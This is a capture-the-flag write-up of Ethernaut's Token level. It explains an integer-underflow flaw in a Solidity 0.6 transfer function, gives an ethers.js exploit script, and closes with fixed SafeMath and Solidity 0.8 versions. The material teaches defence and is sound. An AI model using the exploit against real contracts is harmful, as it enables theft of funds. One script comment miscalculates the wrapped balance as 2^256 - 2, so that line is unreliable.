March 22, 2024

Token Challenge - Ethernaut Level 5

7 min readDifficulty: Medium

Challenge Description

Integer UnderflowSolidityERC20Level 5

Challenge Goal

Obtain more tokens than the total supply by exploiting an integer underflow vulnerability in the token transfer function. The challenge is to end up with more than your initial balance of 20 tokens.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value {'>'}= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

The Vulnerability

The vulnerability in this contract lies in the transfer function, specifically this line:

require(balances[msg.sender] - _value {'>'}= 0);

This check is meant to ensure that the sender has enough tokens to transfer. However, there are two critical issues:

  1. Integer Underflow: In Solidity versions prior to 0.8.0 (this contract uses 0.6.0), unsigned integers wrap around when they underflow. If you subtract a larger number from a smaller one, instead of giving a negative result, it will wrap around to a very large positive number.
  2. Logic Error: The check balances[msg.sender] - _value >= 0 will always pass for unsigned integers because of the wrap-around behavior. Even if _value is greater than balances[msg.sender], the result will be a large positive number, which is always >= 0.

To understand how unsigned integer underflow works, consider this example: If we have uint8 a = 0 and subtract 1, the result isn't -1, but rather 255 (the maximum value for a uint8), because 0 - 1 wraps around to 255 in modular arithmetic for 8-bit unsigned integers.

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Check our initial token balance (we start with 20 tokens)
  2. Attempt to transfer more tokens than we have (e.g., 21 tokens) to another address
  3. Due to the integer underflow, this will not revert but will actually increase our balance to a very large number

Exploit Script

// Using ethers.js to exploit the Token contract

// Get the Token contract instance
const tokenAddress = "INSTANCE_ADDRESS";
const token = await ethers.getContractAt("Token", tokenAddress);

// Check our initial balance
const initialBalance = await token.balanceOf(player);
console.log("Initial token balance:", initialBalance.toString());

// Attempt to transfer more tokens than we have
// For example, if we have 20 tokens, try to transfer 21
console.log("Attempting to transfer 21 tokens...");
await token.transfer(ethers.constants.AddressZero, 21);

// Check our new balance after the exploit
const newBalance = await token.balanceOf(player);
console.log("New token balance:", newBalance.toString());

// To understand what happened, let's calculate the underflow:
// For a uint256 (the default uint size in Solidity):
// 20 - 21 = 2^256 - 1 - 21 + 20 = 2^256 - 2
// Which is a very large number!

// Verify our new balance is greater than initial
console.log("Exploit successful:", newBalance.gt(initialBalance));

Understanding Integer Underflow/Overflow

In computer science, integer overflow and underflow occur when an arithmetic operation attempts to create a numeric value that is outside the range that can be represented with a given number of bits.

  • Integer Overflow: When a number becomes too large to store in its designated space (e.g., adding 1 to the maximum representable value)
  • Integer Underflow: When a number becomes too small (e.g., subtracting 1 from the minimum representable value)

For unsigned integers in Solidity versions before 0.8.0:

  • The maximum value for a uint256 is 2^256 - 1
  • The minimum value is 0
  • When you subtract 1 from 0, the result wraps around to 2^256 - 1
  • When you add 1 to 2^256 - 1, the result wraps around to 0

Security Lessons

  • SafeMath: Prior to Solidity 0.8.0, developers needed to use libraries like SafeMath to perform arithmetic operations that revert on overflow/underflow.
  • Integer Checks: Always validate that arithmetic operations won't result in unintended behavior.
  • Use Recent Solidity Versions: Solidity 0.8.0 and above include built-in overflow/underflow protection, which makes this type of vulnerability less common.
  • Proper Testing: Extensive testing, especially edge cases, can help identify these vulnerabilities before deployment.

Prevention

Here's how you could improve this contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0; // Using a newer Solidity version with built-in overflow checks

contract SecureToken {
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    // In Solidity 0.8.0+, this will automatically revert on underflow
    require(balances[msg.sender] >= _value, "Insufficient balance");
    
    // These operations will revert on overflow/underflow in Solidity 0.8.0+
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    
    emit Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
  
  event Transfer(address indexed from, address indexed to, uint value);
}

Alternative approach for older Solidity versions using SafeMath:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract SecureTokenLegacy {
  using SafeMath for uint;
  
  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] >= _value, "Insufficient balance");
    
    // Using SafeMath to prevent underflow/overflow
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    
    emit Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
  
  event Transfer(address indexed from, address indexed to, uint value);
}

The improved contracts:

  • Use proper balance checking with a meaningful error message
  • Implement overflow/underflow protection either through Solidity 0.8.0+ or SafeMath
  • Emit events for all transfers for better tracking and transparency
  • Follow ERC20 standards more closely

Conclusion

The Token challenge demonstrates a classic and historically significant vulnerability in smart contracts: integer underflow. This type of vulnerability has affected many real-world contracts, leading to millions of dollars worth of losses and exploits.

Remember to always use proper arithmetic checks in your contracts, either through SafeMath for older Solidity versions or by using Solidity 0.8.0+ which has built-in overflow/underflow protection. This is especially critical for financial contracts where integer arithmetic is used to calculate balances or amounts.

Your Notes